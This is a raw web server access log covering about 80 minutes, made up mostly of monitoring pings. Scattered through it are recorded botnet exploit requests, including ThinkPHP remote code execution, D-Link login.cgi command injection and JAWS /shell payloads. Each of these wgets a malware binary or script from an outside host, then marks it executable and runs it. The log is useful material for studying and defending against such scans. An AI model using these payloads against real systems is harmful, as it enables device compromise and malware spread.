115.48.125.210 - - [07/Feb/2020:16:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
179.110.66.142 - - [07/Feb/2020:16:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:16:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [07/Feb/2020:16:13:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [07/Feb/2020:16:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [07/Feb/2020:16:15:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.176 - - [07/Feb/2020:16:15:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.22.119.93 - - [07/Feb/2020:16:16:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.231.115.201 - - [07/Feb/2020:16:16:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [07/Feb/2020:16:18:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.229.242.180 - - [07/Feb/2020:16:18:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.158.0.206 - - [07/Feb/2020:16:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
46.118.124.65 - - [07/Feb/2020:16:20:36 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [07/Feb/2020:16:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.118.124.65 - - [07/Feb/2020:16:20:37 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.124.65 - - [07/Feb/2020:16:20:37 +0100] "GET / HTTP/1.1" 200 1229 "https://stop-nark.ru/narko" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
212.91.246.72 - - [07/Feb/2020:16:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.79.78.40 - - [07/Feb/2020:16:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [07/Feb/2020:16:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.88.55 - - [07/Feb/2020:16:25:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.193.167 - - [07/Feb/2020:16:32:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.47.218.88 - - [07/Feb/2020:16:34:38 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.15.185.140 - - [07/Feb/2020:16:34:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:16:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.179.200 - - [07/Feb/2020:16:35:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
120.29.140.162 - - [07/Feb/2020:16:36:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:16:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.204.21 - - [07/Feb/2020:16:37:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.245.18.9 - - [07/Feb/2020:16:38:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:16:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.212.89.95 - - [07/Feb/2020:16:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.58.30.76 - - [07/Feb/2020:16:42:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:45:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:46:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:47:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.135.187 - - [07/Feb/2020:16:47:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.77.199.108 - - [07/Feb/2020:16:47:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:49:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.57.170 - - [07/Feb/2020:16:50:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:50:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:51:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.237.40.172 - - [07/Feb/2020:16:51:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:52:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [07/Feb/2020:16:52:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:53:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
152.231.53.203 - - [07/Feb/2020:16:53:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
95.59.144.188 - - [07/Feb/2020:16:54:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:16:54:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:55:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:56:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:57:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.242.62.226 - - [07/Feb/2020:16:57:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:16:58:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:16:59:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:00:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:01:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.215.9.145 - - [07/Feb/2020:17:02:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:17:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.153.221.157 - - [07/Feb/2020:17:03:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:17:03:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:04:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.165.200.217 - - [07/Feb/2020:17:05:02 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
212.91.246.72 - - [07/Feb/2020:17:05:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [07/Feb/2020:17:05:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
1.52.147.254 - - [07/Feb/2020:17:06:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.247.50.184 - - [07/Feb/2020:17:06:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:17:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:07:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:08:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.169.63.85 - - [07/Feb/2020:17:09:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:17:09:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:10:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:11:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:12:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:13:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:14:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:15:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.22.50.1 - - [07/Feb/2020:17:16:23 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:17:16:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:17:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.232.3.139 - - [07/Feb/2020:17:18:15 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [07/Feb/2020:17:18:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:19:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:20:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [07/Feb/2020:17:21:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [07/Feb/2020:17:21:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [07/Feb/2020:17:21:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:17:21:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.160.110.48 - - [07/Feb/2020:17:21:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.160.110.48 - - [07/Feb/2020:17:22:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:17:22:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.24.39 - - [07/Feb/2020:17:22:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:17:23:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:24:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:25:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:26:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.65.76 - - [07/Feb/2020:17:26:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
223.97.25.53 - - [07/Feb/2020:17:27:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:17:27:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.63.67.58 - - [07/Feb/2020:17:28:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:17:28:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:17:29:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
